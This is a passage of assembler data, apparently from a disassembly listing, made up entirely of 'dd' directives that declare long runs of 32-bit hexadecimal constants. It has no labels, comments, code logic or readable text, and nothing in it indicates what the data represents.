dd 429A9FDCh, 50713240h, 0E9194B04h, 0B4FEB0F1h, 6E9A0CBDh
dd 0A353AE9h, 0CCC8D806h, 2DCE6E13h, 0DAE68181h, 0C8D82137h
dd 0FE59F2CAh, 32D70508h, 81C22C67h, 0B05000EFh, 0B7075386h
dd 0F4E7800Fh, 0AEE19BE4h, 0E04BF3C1h, 0E9CB2804h, 4EE1A8D6h
dd 2D69CBBEh, 0ADA9E1ACh, 9CAD2Dh, 52138220h, 80096851h
dd 51553357h, 0AF9F1217h, 68D07689h, 0E4E2E5AAh, 0C322FEBBh
dd 53D83159h, 20DB5F4Ch, 89521C88h, 5A59C9FAh, 68EAD7F8h
dd 186FE82Fh, 0B14B0D93h, 507569CDh, 0FF2D5B34h, 0FF0FA13h
dd 19A9DF9h, 0AB2C5B89h, 98BD4DC0h, 82A741F1h, 3B321640h
dd 4AB880h, 5482E38h, 22045D70h, 4C1631BCh, 0FE4F26ECh
dd 1B92828h, 1CB1320h, 7F23B5E9h, 814A298Eh, 0A5FEC1B9h
dd 55CB621Eh, 578069D8h, 46956F0Fh, 626EF2BFh, 0EA091274h
dd 28EF0CFCh, 7EF24001h, 6F3EFB49h, 0BFC14AE9h, 3B71D188h
dd 17F8F0C2h, 3054DD68h, 3A6BE9E2h, 0DAEE2295h, 0F381001Eh
dd 0AE095D5Ah, 57D9893Dh, 69976B94h, 84556C5Dh, 8E945FBh
dd 169CAE91h, 0E35A5BD5h, 688298CCh, 0A7B4DF7h, 0EBCAAD84h
dd 0BD644B2h, 2BCBD1D2h, 4F2983AFh, 64B9BBC4h, 0F902CD94h
dd 4B120B6Ah, 1746CBDFh, 1EBD108h, 605C974Ah, 79E13A3Ch
dd 1A15442h, 360D8A68h, 0ABA618B1h, 9D0AFC1Bh, 81509DC6h
dd 8301C154h, 319ECD1Ah, 0B372204Fh, 0B101F750h, 36694F3Ah
dd 0F2803C20h, 0CAC42003h, 0BF002533h, 0FD54459Ah, 494B3AF4h
dd 0CEC1D0A8h, 2A656952h, 0C13861BBh, 3145EC60h, 0F40A0B5h
dd 4D200BF2h, 2B046C57h, 0F82C3C6Ch, 0A507415Fh, 55A9648h
dd 0E9535854h, 4E89AC73h, 4F749FEEh, 5E6CC0DDh, 7E499401h
dd 6B540107h, 0C4136B3h, 0B03EEC7Fh, 5E086855h, 8F8B305Bh
dd 6918A717h, 0E90B93BDh, 89AE96F3h, 8BD759CFh, 8585678Ah
dd 0ADEC4EE9h, 0CD0D796h, 0C3108E8h, 784668C8h, 0A14B9931h
dd 0DDC10F24h, 657A2DCEh, 90A3FEF2h, 0D0676312h, 4C081150h
dd 0EB7A2F7Eh, 0E8AC7D97h, 6713A21Ch, 12FACF3Bh, 11E3EE8Dh
dd 0F6E95504h, 29A29CEDh, 6941F9B7h, 8E41535Dh, 0C1380668h
dd 0AD81D62Ah, 57635496h, 0D6DFA98h, 0B32DFE2Eh, 2440FD2Bh
dd 9B0E635Ch, 348897Dh, 0DA75F00Ah, 7885407Ah, 6E1F2C76h
dd 328B0591h, 0AC8B8101h, 70202BAFh, 3E1295BEh, 0FA9364D3h
dd 6809C8D4h, 46103E25h, 29F0314Ch, 2FBA3A81h, 56E6C761h
dd 18A16800h, 8863A1B4h, 60EF92C5h, 9AA856B5h, 67DCEBEFh
dd 9194B52Ah, 5248778Ch, 0C6F2E3Eh, 0CD89F5D2h, 7F693571h
dd 9EB49240h, 9F2AB780h, 34F4C650h, 53145C61h, 343E2468h
dd 0FCF1EF54h, 5DC7CB40h, 0A8175FB5h, 0E01F278Eh, 0BEEA2840h
dd 0E6166FF9h, 0CFFE13C5h, 0DFBEA0ABh, 0C05501E1h, 0E34C3CBAh
dd 211E1F42h, 1179A4D0h, 46BB2D0Ah, 0E63B9AFEh, 0E9999AD7h
dd 431B136Dh, 3212C504h, 9D05DF40h, 178008E3h, 16347056h
dd 47E2E961h, 725D5E3Dh, 0DEB8D0C9h, 0FD83FAF9h, 0AB99F02h
dd 0F1C161FDh, 9D290024h, 0C3CFA5DDh, 2BF1E1EEh, 8428E3B1h
dd 6586E9A1h, 0DEC6F881h, 0DE62113h, 0BC10EAECh, 0E3FD4EA8h
dd 77AD223Fh, 541AF900h, 0CC17C07h, 3A70753Ch, 3846C26Ah
dd 34B5EA70h, 0F31C5E59h
dd 12F358FAh, 0D0B2FF72h, 0B17FBCD3h, 2F8030AEh, 51533C77h
dd 150BBDB9h, 8589094Bh, 30F10CD5h, 96F9F92Ah, 0FEC4A944h
dd 0DEE118B0h, 5D25B81Bh, 7D943275h, 4E25AA96h, 95905AC3h
dd 112BCDCh, 53CCE4BEh, 8FF506BDh, 0F82EE1BCh, 0D9E540CCh
dd 0E78BC6Eh, 5761E9F7h, 81C7C324h, 7905C7Bh, 20C85749h
dd 182C76FEh, 6166E74h, 3A239AEh, 3B5E439Eh, 61306D5h
dd 97185DEAh, 4BE2E9A5h, 697DCAFBh, 186656E7h, 34FD852h
dd 0BA651B0Eh, 0B41684FDh, 0F83C5EEh, 0AC9C6868h, 9A306CE2h
dd 6AA6B18h, 4745AB2h, 6DE917ABh, 7B038ADDh, 2933A826h
dd 361AFDADh, 97AC6475h, 3CA81557h, 907C8513h, 0CB766C25h
dd 0B5A85C5Ah, 0F49B2F7Eh, 45496B71h, 1E0A099Dh, 123DFB53h
dd 93CCCA0Dh, 41235AD0h, 0C942B72Dh, 0D7407A38h, 0A5366CF5h
dd 2803BD11h, 0FE921BE9h, 0CD3DB6DFh, 0D85348BAh, 0FE9C17A0h
dd 1E133385h, 11BCF584h, 2E2E12Dh, 9677EA09h, 50FD03EFh
dd 0B2BD646Ch, 29D465B8h, 20EA79BDh, 453002CCh, 0CD01401Ah
dd 577C4E40h, 53923991h, 150B33ACh, 7853947h, 5740FF6Dh
dd 0A03FF410h, 378CD431h, 6105EF4Eh, 1D9192E9h, 5C6A6DB2h
dd 0C3804700h, 0C3760EC4h, 0DBDE02AFh, 2563C607h, 0EE6441B6h
dd 50C8A8AFh, 32407679h, 0CA29555h, 0B7908ECAh, 4D986A67h
dd 0DF0B7290h, 7C6EEC46h, 0E581014Ah, 3E9C5F7Ch, 9304CB01h
dd 0E9A7676Fh, 522F6970h, 0B9E7305Eh, 110E690h, 55E1816Eh
dd 0F2673D0Fh, 680F1D5h, 0B9B528E9h, 0B0B33B0h, 0F45A4475h
dd 79A7585Bh, 0F5FC1E70h, 0C306A550h, 0D3885D97h, 2C3704EAh
dd 1430C2A1h, 5E0ACA70h, 0F01C4F09h, 0C76BA018h, 8A2D17DEh
dd 10C4163Dh, 592F08C2h, 6F0319E9h, 0CFAEEE85h, 93E91F87h
dd 21F7225h, 810D9DB8h, 99853162h, 0DE8AC252h, 4FBD40Eh
dd 28920ED9h, 0F8A93582h, 0E120EDFDh, 0E4641479h, 0BB03D71Fh
dd 0D135057Dh, 5BF4C0B4h, 75026F73h, 27E9F301h, 6ED2076h
dd 8A4ACFB3h, 0EA8146FCh, 0FF61CA2Fh, 162CF3C8h, 0A720237Eh
dd 57F8BDC6h, 5A0706CCh, 431F587Eh, 0EBF18917h, 0F8E94481h
dd 6BAEDFEh, 0A8403193h, 3FFBF305h, 1BF2C9Ch, 1474DCE2h
dd 0BCC7435Fh, 3BECEBF1h, 0E40B33A1h, 80C1C850h, 2EB0CE31h
dd 4C560F95h, 0ACB9AEBh, 1AD466A9h, 0ECCE13A2h, 0CD8A5AEBh
dd 755ED6DAh, 0DF21588Bh, 0F5F35893h, 0EEEC6474h, 50E8E96h
dd 52001001h, 818FE5BAh, 0A7092D82h, 5E4F2048h, 0B7072034h
dd 46F00140h, 10F7C14Ch, 0B04B33AFh, 0D65B317Ah, 0CE632CBFh
dd 5AD56817h, 849CC8FBh, 96B1F277h, 0B173E82Fh, 81F9BDEEh
dd 0CC09C828h, 0D5516371h, 0E7E95E01h, 55B36BE2h, 5622D6DFh
dd 1B07AF58h, 129711Bh, 2C1D016Dh, 0EE12BE2Fh, 7E53CBBEh
dd 7E9D509h, 489929F7h, 0FC5AAA7Ah, 0BF7CE40Ah, 0C80A0C6h
dd 0C827FFE9h, 4B1A71FEh, 0FFB0425Fh, 680956CFh, 689857E9h
dd 3E05B3BAh, 0C2317061h, 0B3ACDC0Ah, 3D7479AFh, 0AD545B96h
dd 8F792D6Eh, 2468E25Eh, 0ADC05913h, 7E02EEDCh, 0F70280E9h
dd 5501C54Eh, 0D85E1468h, 0B12A5D0Bh, 8CBC3E75h, 7CC8BC96h
dd 0B91D8097h, 48C50A80h, 0C91FAF6Bh, 0C21D878h, 0CC2D176Fh
dd 0FF516341h, 547A97E0h, 0B5E9FF68h, 0F8744430h, 79170BF1h
dd 77D8458Dh, 11801DA2h, 1AD86A5Bh, 809FFAF0h, 0D306C98Bh
dd 46E91256h, 0BA3324CCh, 0E9A0C4A2h, 0CE9F788Dh, 0ED70A047h
dd 3391763h, 0D506FF83h, 2F13E8F2h, 0BB620EE9h, 0A98B3D59h
dd 9C5F4E19h, 0BA6692EFh, 0B8285891h, 0A6B73C81h, 20D0CF80h
dd 0F54A058Fh, 5FE943D9h, 91742268h, 425D272Fh, 117681D7h
dd 1ED860Ah, 48ADE52Ah, 0BB51533Ah, 7C566F0Fh, 72B94F0Bh
dd 50F45F89h, 0E24D975h, 0EB2D93F0h, 76D4F6C4h, 0A5D2B8ABh
dd 0C44FF2EBh, 0DFB017E9h, 0D9ED0F80h, 3145EA28h, 0B84BBFD8h
dd 459BFFA3h, 876D62F1h, 56306810h, 7CC57509h, 1CF1F3ADh
dd 0D8B5A01Ah, 1534171h, 7EF8619Eh, 36C25B34h, 693F6057h
dd 2A990C62h, 290B6DBFh, 24E9F717h, 685F8141h, 0DA363548h
dd 12784317h, 1A980107h, 20779A58h, 0D05F982Dh, 0F8C173BFh
dd 67ACAB4Eh, 0BF194130h, 0BD004766h, 1250BA4Ah, 5001C4F4h
dd 9EEE5FAh, 311D718Ah, 0A776257h, 3C09CF08h, 42137C0Bh
dd 5E1D1F7h, 38BEC0C8h, 2BC5E916h, 0A9D37BCCh, 2DD7088Ah
dd 325AD640h, 39AFE54Fh, 665E214Ah, 0D5564F3Ch, 0DB7698EFh
dd 0D6CD3F52h, 7F398B04h, 3AC7DFA8h, 542B8F27h, 6FADA9C7h
dd 0BD102C22h, 9778F7A5h, 0B61652E8h, 7804FE2Eh, 0EA9306C0h
dd 1A30B9FAh, 0B530E93h, 0B8D1056Ch, 51E8D727h, 410797F7h
dd 47E943D1h, 0D62DF7EAh, 7D6D021Ch, 13DC601Bh, 0B5AD825h
dd 26F41BDh, 1795D300h, 18C06A73h, 33259893h, 26B62CE9h
dd 2ED953F2h, 10482212h, 5D27EEA1h, 0DF13B673h, 80422CB8h
dd 92A3FEE5h, 0D87DE6C5h, 1041E108h, 456FBE01h, 0BE046397h
dd 41BA0395h, 2DDB105Dh, 0E0996429h, 86CC164Ah, 122806C6h
dd 0BC2351Ah, 48A3F8C5h, 0C3018E04h, 5C4FA380h, 0C1321403h
dd 0F60293E6h, 8B0B399Fh, 5E0A8640h, 0E97C2B05h, 0D2D2A34Ah
dd 299EC85Dh, 3F769FCBh, 5959C1DAh, 98743C28h, 68C102E6h
dd 0E8D1175Ah, 0F44A00F5h, 411CD4Ah, 24D02D35h, 40C3F12Fh
dd 1A0BC79Eh, 28A62149h, 2EB108EEh, 1654CCCCh, 0AE6E364Ch
dd 43676AD1h, 0C7D89F61h, 0D1B3E68h, 240E4730h, 224A7C95h
dd 0A43269BEh, 260B4208h, 76F1F296h, 0D266E968h, 0EA3C1B05h
dd 46C8AF50h, 3D4C1CCAh, 15D6A568h, 32C01A34h, 5E940DBDh
dd 25CFC721h, 139080E1h, 1858341Ch, 0BF93029Fh, 5589DE7Ch
dd 583A265h, 0E455318Ch, 70410FAh, 4E51B24Eh, 0E983F0A6h
dd 0C613A8F5h, 30B9CE01h, 986EC97h, 0FF4DF8E9h, 21FD2212h
dd 0AE762F41h, 5894F03Fh, 0A8B41D28h, 18CACB48h, 591815CCh
dd 39E09DC3h, 0BF83AB01h, 4452B862h, 19CC2765h, 0A2AD2AD3h
dd 0F16ACD8Ah, 0DE4784D8h, 0B5DCABFEh, 0B2D84BAFh, 0F1E85F42h
dd 20CAEDB0h, 0E973E309h, 971358ABh, 0ADD1AA13h, 6414935Eh
dd 515A05EFh, 0DACC92B4h, 0CB39D675h, 0EEC02A7Eh, 0BDF154B3h
dd 8C80F37Ah, 0D70A454Dh, 9FFB016Dh, 3EE11916h, 0A9D5FC6Bh
dd 6858D585h, 69D1FF7Fh, 2040CFD6h, 95A52BF1h, 0D8DB34E1h
dd 609523C3h, 4C4D6C56h, 0E4255B19h, 0D4BCFDD8h, 109C551h
dd 80FCDBC9h, 2F23EA59h, 6089A3D4h, 3DF32AD3h, 4B58A62h
dd 6800D195h, 7FF556C6h, 855FCEF5h, 62BF5DE2h, 57D0534Ch
dd 45D95C4Eh, 0CB3CAC3Ch, 5B2C1289h, 0B44B2204h, 6039C366h
dd 533F7696h, 0E0A9DA5Eh, 625AB087h, 0F0222975h, 0E10A8805h
dd 0F1DD42h, 7397685Bh, 5597C491h, 16766601h, 0E06F41E2h
dd 0DD48F7B8h, 2E72000Bh, 4EE94462h, 2D7826Eh, 75E6D2EBh
dd 0B8015DB2h, 207B59F7h, 0D4B9D10h, 2768C798h, 5E56E80h
dd 0ABDCE98Bh, 8167555h, 0E9BCF9B7h, 0BB51C656h, 9066C224h
dd 0C0B3E09Bh, 26D0BE54h, 7BF461ACh, 79CD675Fh, 49BF7A61h
dd 0F5418E27h, 0E3492052h, 0FCBEFD2h, 6816004Ch, 10A2E910h
dd 0BB074CEBh, 7B7C64C9h, 0EE711700h, 15A17FBh, 5EC77CB2h
dd 0A8220468h, 272AC4A9h, 0ED2D9214h, 0A3BDC7D2h, 18722646h
dd 0DBFA8F71h, 0D42763E8h, 1DA05E3Ch, 0BE701222h, 0D805EAB2h
dd 8063E148h, 1A281B4Eh
dd 4C0F6B48h, 388A12CDh, 4D30CC9Dh, 64245A47h, 62E48282h
dd 8927F57Eh, 194880A0h, 3166867Dh, 0AB25C501h, 0C3301B6h
dd 864CB23Fh, 0BF1EB238h, 3C97D4EDh, 0D82A2E8Dh, 6602ED02h
dd 14C8A67h, 1D542FDh, 4F4BE908h, 2C5BD748h, 1D99E29h
dd 547097F3h, 5EC84171h, 9FB60D9h, 9701DA4Fh, 0D507AC7Fh
dd 5BBEF20h, 11E3D4Bh, 4C784F2h, 88565E08h, 0C360E211h
dd 94B753C2h, 44F95A08h, 28C587Eh, 0D44F7068h, 0A7DFA6F6h
dd 92707F6h, 2E5000E6h, 0B76CBF32h, 8820472h, 27BFCB45h
dd 288A0C0Dh, 7D671620h, 3850AB0Bh, 0E3F84B08h, 89C880DFh
dd 5A595830h, 7242F69Dh, 7709C553h, 2EE87D20h, 9B7A4E9h
dd 2751EC0Bh, 0BFFAB159h, 0F96CCE3h, 5189485Eh, 27067964h
dd 7D763A4h, 5E595FA0h, 0F4851h, 0AF4B3558h, 0EFFAF069h
dd 0E995E8BFh, 9DA97F7h, 0D1192E18h, 0D6E3DA14h, 72F60278h
dd 8D645A92h, 0D503F680h, 0E980F209h, 0FFDFC2C5h, 9399A93Ch
dd 5768450Bh, 3F4EA014h, 5359D901h, 4A601BBBh, 4167B5D0h
dd 0E9097E2Ch, 1FAF8BEh, 792DD0F7h, 71BFCFB7h, 0E58120C3h
dd 795D99AAh, 0E9E8419Eh, 2C42EE4h, 0B34384ABh, 0BF02C8C9h
dd 0AC2011CCh, 24269FA7h, 550991E0h, 0BFE9183Dh, 0BAB3341Dh
dd 0DAE0B271h, 0A548DB9Dh, 0D527027Eh, 0E984BC17h, 0A4FB7F97h
dd 0AB583382h, 0C9CE10ADh, 35C7EC5Eh, 0E0805950h, 2502D3EDh
dd 0C8830960h, 1D0299ADh, 59A556F6h, 204D64C5h, 661616D6h
dd 0C40AB151h, 0B993B424h, 0A1ED0BAFh, 29940555h, 0BC4EAEF8h
dd 0CB30BD55h, 0C598B5AFh, 438292EBh, 0D074F9EAh, 0EEDF97BBh
dd 41D62A1Eh, 0F1B1B387h, 57C57D1Eh, 395EB13Fh, 0B7C3840h
dd 4C293D0Ch, 570C826Fh, 0CA653ED9h, 0E45C974Ch, 0D0BC4E4Ah
dd 0B76EA67Ch, 0D7EE224Bh, 0A88943C2h, 70C19D02h, 7D79980Fh
dd 6F7FA0D8h, 0C3DB6024h, 2A262F00h, 0B8FB293Fh, 0CECB6806h
dd 9AFD2D0Bh, 30FC620Ah, 0E226D698h, 0F552955Bh, 77590881h
dd 0F1FD4A8Dh, 0EB1356D2h, 0B825BA8Ah, 71DD7862h, 1B8269B5h
dd 0FCD1D839h, 0E2B2AB6Fh, 0E93356E8h, 0DFAEBC72h, 9202AB5Eh
dd 0DC51CDFEh, 161ABE22h, 304118B7h, 436AA2AEh, 6A2B9E80h
dd 0E948BB0Dh, 0F5EC195Dh, 0EFD63A5Ch, 9C15135Bh, 87555F6Eh
dd 84937D7Ch, 0D8142F10h, 1CFB6D10h, 65966851h, 42C3B8A8h
dd 0E9984A03h, 26C08022h, 0A060E8BDh, 9E55B84Dh, 4FBF00A5h
dd 8140CE37h, 3E7C702h, 0D53121CAh, 4C1D4A21h, 7FE44056h
dd 7760A952h, 0D0BCE3D4h, 0C8090095h, 0C7983559h, 590843Dh
dd 1F7B2309h, 0B4C77624h, 5B2AF611h, 2CABF085h, 6969FD51h
dd 56005FACh, 0C7A8435h, 0AF01523Ch, 1E147758h, 32B90230h
dd 639EAD1h, 0EC840FD0h, 564814EDh, 707E0177h, 0F9E92233h
dd 0F62C3365h, 41D8B1h, 0C7CDD1E9h, 2F40923Eh, 0D4AC1312h
dd 0FDE1FA41h, 3F7EA87Ch, 5F7F4EF3h, 0CCB4B201h, 5EE6D787h
dd 0D421FB15h, 303F922Dh, 1C77215Ch, 44294E98h, 7C16EF38h
dd 3D683A42h, 5632570Ch, 0B9E8E98Fh, 6B8B501Dh, 0ECEE930Bh
dd 2A25BDEAh, 5F9DFEB1h, 5A4DCC02h, 80F7475Fh, 0E9AEC380h
dd 24DED494h, 7E61F10Fh, 651DEE53h, 3E2D6EF0h, 39FA0533h
dd 305D001h, 0C1E95707h, 0F289D913h, 9C3DEDA2h, 0D14C2940h
dd 884510CEh, 5EADFE7Dh, 9285E9FEh, 0DF3047E8h, 28585C37h
dd 35EEC84Eh, 9DEC0BD6h, 0E5278BF4h, 4C89BF2Dh, 8BFCFEB5h
dd 0C46B2946h, 0B9EF8A6h, 58AED458h, 7082C8CEh, 0EF6DEA46h
dd 0F3DAB02Bh, 528C6713h, 0E8BE2B80h, 9714E23Ah, 43158883h
dd 47D8E727h, 8B5D2D7Dh, 2114556Dh, 6CBA499Dh, 5F29042Eh
dd 0C10EFB31h, 4FBD97CFh, 0D16E44D2h, 7C0D83E3h, 7AFAB924h
dd 78E40581h, 0C07FB9B2h, 5B5F53FCh, 97F22AEDh, 4BE6EAD3h
dd 47EDE917h, 0A6685C88h, 0A44E5D08h, 0A92F3CA1h, 4E5CA2F3h
dd 0D2824BA8h, 88F41C06h, 0E2765772h, 89F9DD5Ah, 0BE17193h
dd 0A0A30B6Ah, 0EA688FE0h, 0F5180755h, 30036A96h, 9A04A62Dh
dd 5C48570h, 572F071Fh, 0BADA60Ah, 2CF1DF14h, 5C6497BCh
dd 0A87D65AEh, 8AFE93C8h, 84E9C3C2h, 0AB2E4E9Dh, 0E8164BCBh
dd 0F2F340ABh, 94D47305h, 24959AF6h, 82F0CFh, 15D01CDh
dd 516321CAh, 6CCB87C5h, 0A551299h, 7E2EE1AFh, 425000A6h
dd 7708B790h, 0BFC701AAh, 2A09CFF6h, 74DB8C0h, 0F929003Eh
dd 4597BA52h, 52BD101Ch, 231A09D1h, 0F5805AABh, 0C879020h
dd 0DCB5BEB8h, 0F89E9255h, 2DFA5F0Ch, 0B7816BBDh, 3C3B14B0h
dd 68105DEEh, 0C14016D5h, 0AB4FD371h, 700A3FF0h, 965F957Dh
dd 967C9D16h, 80FC7BC9h, 5828B850h, 75956E71h, 80020C85h
dd 0AC2D0322h, 231D4F08h, 0DDE90F89h, 0DE37EED6h, 892E594h
dd 62868F4Ah, 0F08AEDABh, 0B4565EB3h, 0C792D96Bh, 0BF3AB4BFh
dd 9E5047F6h, 32779A32h, 0C741AAE7h, 0F630D8F7h, 41B65ACBh
dd 0CD0E5417h, 5E5FDA34h, 92ADE2D2h, 957C1977h, 0AC4A9168h
dd 85874C21h, 0ECA4155Bh, 531740CFh, 331CBB0Ch, 4B9A163Fh
dd 2A8AB3F8h, 0C016ECDBh, 95AC07EDh, 0D06C5E75h, 73E9F4A2h
dd 6CA8D241h, 66AB127h, 5451535Eh, 3DEB5840h, 45005536h
dd 2E323352h, 4CC36C64h, 99564441h, 0D4C4950h, 71547E4Eh
dd 3C0AAA4Ch, 0CEA40101h, 70E91DC1h, 40383409h, 37C0A15Ah
dd 81FDDFBEh, 0B40A42BBh, 0AA12A219h, 89A43710h, 11FE09A0h
dd 44DB0896h, 22848CA5h, 8244A63Dh, 0E70E004Eh, 79A8E4CAh
dd 3928765Ch, 0CC00AF0Ah, 58967C99h, 0C102Dh, 739EDCD6h
dd 82F7056h, 9BC648C0h, 5E987Eh, 60410E2Bh, 22BAECB2h
dd 99F21300h, 94684BBh, 39EFCB1h, 2D5B86C4h, 78F0C663h
dd 0E50AA957h, 0DC16C91Ah, 0FB1CD607h, 0F8403227h, 6529D7h
dd 69132014h, 0FE7456F3h, 0ECC6CF00h, 87517FB2h, 0CB3001EAh
dd 0B445F620h, 9B49F45Ch, 2E41A00h, 235F24C0h, 0B02A0936h
dd 0D0801F60h, 0B1CF13A6h, 7DD93B00h, 18E21043h, 0C39F6B6h
dd 98DE8CFCh, 0B0002625h, 0FA56204Eh, 0F28FBEh, 0CCB233Ah
dd 70ABFCF7h, 478C3D00h, 93BAFB39h, 2CCF0131h, 0E86E777Eh
dd 0E285ECC5h, 9BCE0800h, 13C7C9F8h, 462C0026h, 0A2882FCCh
dd 9A903568h, 933CB601h, 0BD9B574Fh, 821664h, 18FE1B42h
dd 0AA90ADDCh, 213E6D0Eh, 0B0CD003Bh, 618CCAh, 18A24044h
dd 0AC92AFDAh, 27006B79h, 0BAD70241h, 2679AD4h, 0EE9C7D4Ah
dd 0CC80BBA8h, 0C2FFDD36h, 27558800h, 0A548B810h, 0A4EEE84h
dd 1482BD8Ah, 80CE90CDh, 47BA7411h, 1C2F007Fh, 0B1DC1B8Bh
dd 5700B983h, 709BDAB4h, 0EE2E6D53h, 2D7E0F98h, 0ADA0C715h
dd 0B842202Ah, 561E1A72h, 0F7406428h, 845DB0C6h, 271F0D69h
dd 0CCF7426Bh, 8300A0C7h, 1532619Dh, 0C3F22Fh, 5285C0A6h
dd 0E6114F35h, 1DC5C900h, 0F2C5795h, 0C1E80029h, 547FBEA4h
dd 17015137h, 19FAC7E4h, 0B3102B6Bh, 7B037C5Ah, 9C3960A1h
dd 1B49B8B6h, 0EA1D0057h, 680D2CBCh, 0D3049D43h, 609340CFh
dd 968E51FEh, 200A3814h, 0E5410B00h, 21DB78ABh, 616224E3h
dd 0D7F42700h, 33D6469Eh, 82E30E12h, 63809178h, 103E69A7h
dd 4709E4FCh, 0F5998Dh, 40EEA575h, 80D5407Eh, 5A80A00h
dd 1EC1EC2Bh, 9A063B44h, 3421AA30h, 0BF005CBEh, 0CEF33218h
dd 12016392h, 0B0A017D3h, 7E0058EBh, 1AE41241h, 197B4F7Dh
dd 0A5EAAC5Ah, 0FBE1FCF4h
dd 608EC109h, 0DE928049h, 0C01A1B30h, 0C8E55B8Eh, 7503A8E2h
dd 8C71F58h, 31D2C97Bh, 39ED4FF8h, 55001B4Ah, 919583B9h
dd 190EC7F4h, 8FC648EBh, 3C16802Fh, 0B5D2FDh, 2E6B90CFh
dd 0A507D1FFh, 79B37707h, 0DA601546h, 9786F6Dh, 642C480h
dd 0B844001Fh, 9B386370h, 715B576h, 8C1559h, 93C12399h
dd 76295CFh, 0F085A434h, 201956E0h, 0C1303378h, 57CD0C1Bh
dd 0F1A012F5h, 12161DD6h, 0B87D80F0h, 0AD00E889h, 0F2204F8Ch
dd 9727728h, 4D7B180Bh, 83B22424h, 791FA308h, 60DFB52Bh
dd 0F3E7B00h, 1DE13972h, 0C020CE71h, 0C41C31F9h, 7999AEEAh
dd 5B980800h, 983AFE2Ch, 0D7A10088h, 0BDF61375h, 5201F565h
dd 0DB381BA4h, 0D8406319h, 1023570h, 0B56D0AD4h, 9D3A241Dh
dd 0F6805E7Ch, 0A1C604C8h, 9370062h, 96AFDD3Fh, 0F21C929Bh
dd 6E471474h, 0D602A4Bh, 31A2096Ch, 0F2F88DFEh, 24136CD1h
dd 0BD7033B8h, 38B27C0Dh, 1D00AE9Bh, 3FE24C34h, 0F360CD91h
dd 0F95BD128h, 47A82456h, 17878087h, 1D4CAED9h, 0C94C62ECh
dd 55D03EEh, 18F295h, 0C3E4111Ch, 2E2D73A2h, 5FAF2000h
dd 83793D6Dh, 85CA28FAh, 37B816A4h, 0EC04006Fh, 2E7B9FBDh
dd 9B95320Bh, 515D0147h, 0F8E0F7BAh, 72A00016h, 0F093035Bh
dd 674C3342h, 12EC0EE1h, 0F5B9C3D3h, 0F95A0055h, 29F32183h
dd 3A00AA8Ch, 6994D2FFh, 0F713Bh, 0B5DC1DE1h, 8EB9F753h
dd 0AF892C00h, 3F254275h, 0A1D23A05h, 933D0701h, 7D5A160Eh
dd 4B8B0FF1h, 0E521A024h, 0B399B6h, 442A4776h, 0D3B9D609h
dd 4D6A950Fh, 0E321C249h, 746141B8h, 44A30E4h, 0DDC3E00Bh
dd 86C3C0A3h, 0B724F7A5h, 370E7CBEh, 176F00DEh, 12A04A7h
dd 0F320BDF0h, 317A0A45h, 2C6BD4E7h, 9032298h, 71148A6Ch
dd 0C0BBEC50h, 9CCCFA7Bh, 43DA04C6h, 6EE40052h, 81ACEBD1h
dd 3F1F7E64h, 0E84FE614h, 0EC4E27BBh, 8CFD494Fh, 8853E7EFh
dd 0B100D818h, 4372AE94h, 34026h, 96D1B7D4h, 22604663h
dd 0D6DAF705h, 57C0A60Ch, 99F93A20h, 48650025h, 0D8F52862h
dd 7C2A0B1Fh, 6BC4E7F0h, 0D8EF918Dh, 0D4A03370h, 0D82CEA91h
dd 0C9C04E39h, 0DD98BBh, 0F9504872h, 49ABB4EDh, 73022103h
dd 7C6DB35Dh, 48987454h, 0E91285A2h, 24DDB8EFh, 390685AFh
dd 0C7DCB8Bh, 692D5DD3h, 502750Fh, 0A56F9DC4h, 866D6043h
dd 0D6B00553h, 0C03D6B9Ah, 0AF071E83h, 7B9C3F12h, 4F0FCC31h
dd 980C45BAh, 2A0FA4EAh, 0B552B400h, 4E8D6788h, 0CC860923h
dd 0A80907D7h, 6E9CC801h, 400B7184h, 4E9975Ah, 4A00B3BAh
dd 550FA5D4h, 0B0AB3549h, 0C8511F59h, 0BEBD07E4h, 52EF7084h
dd 20F9C119h, 815C7FE3h, 89FF00A0h, 7CEC445Bh, 0C3EED9h
dd 9012E394h, 304E5221h, 45669307h, 0BD617624h, 0E0C7BEDEh
dd 83E510h, 22BFE627h, 25B66968h, 44B458h, 20EA1843h, 78FCF7Dh
dd 0FBB3784h, 0BA944199h, 10772480h, 5EACDD00h, 0EDC171B8h
dd 223925F5h, 0E705F1D0h, 7D6380A7h, 0FD08187h, 2C86A3D2h
dd 802865A0h, 0A5A9C6F1h, 3700753Dh, 0C809EF0Ch, 9E84A1h
dd 3117345Fh, 0DAA7C4F7h, 0B4BF918h, 249313A8h, 7A45C3Ah
dd 40456CADh, 83B6F14Dh, 298B5502h, 4887D886h, 29107A9h
dd 0AAD514EEh, 6541A78Dh, 0E9BF200Fh, 0C406C24Ch, 9380B659h
dd 2038F4ECh, 850002C0h, 1B011E45h, 93B0DFh, 244170ADh
dd 0B3D0033Eh, 648FCD01h, 139F4347h, 3F663240h, 0A8BCB122h
dd 78452874h, 0BCA530F7h, 0F2D029C4h, 0D5010699h, 600CCB3Dh
dd 4A77AC81h, 74134F29h, 5362D84Fh, 6070E6CCh, 1B45B9D7h
dd 4A93D797h, 5CFF61A0h, 74232D03h, 0A810758Ah, 618CD280h
dd 9C1222B2h, 0C82170FFh, 5B3560Ch, 1081B4Fh, 3DE2CED9h
dd 0C03ABC66h, 0ECF26BCDh, 84487600h, 0E2ED1B46h, 7F0801B3h
dd 9C6A29BBh, 2B93E832h, 87E97417h, 0C9028F5Eh, 59E7F62Ch
dd 1757860Ah, 97496ADEh, 0C05D0034h, 54719CDAh, 52C4061Bh
dd 27B501AFh, 95C33901h, 366497D1h, 90305AE5h, 137090B4h
dd 122F91h, 84FF35CAh, 4FE0C25Ch, 0B4DF5902h, 0E0AC6CE8h
dd 0BCEF41h, 90028C8Eh, 30F42255h, 9A00C8F4h, 68363FB6h
dd 1FBF99D0h, 0CF1B5C81h, 0FDC0FCC6h, 0BDF7ADC8h, 0DE78A00h
dd 416CAACFh, 762E39DFh, 3EA5D79Dh, 0BDA34A80h, 5E225083h
dd 0C7F52000h, 6896C903h, 386700A4h, 3243920Ah, 5CB8E46Ch
dd 207AB42Ch, 38DB0680h, 3AF3225Eh, 0A68FFBC5h, 0AAA06C9Bh
dd 170549F7h, 0C88983A1h, 0EF073E62h, 94C7025Eh, 88BBD3F3h
dd 6BAA84h, 0AB481240h, 67A5FF76h, 4BB1ED00h, 1CB87098h
dd 558403C0h, 0DEFB5D27h, 0C16F90E8h, 5C60FD30h, 615B8B01h
dd 2DA30F1Bh, 9EEB9290h, 0F1BF658h, 3661009Fh, 3FDC3E08h
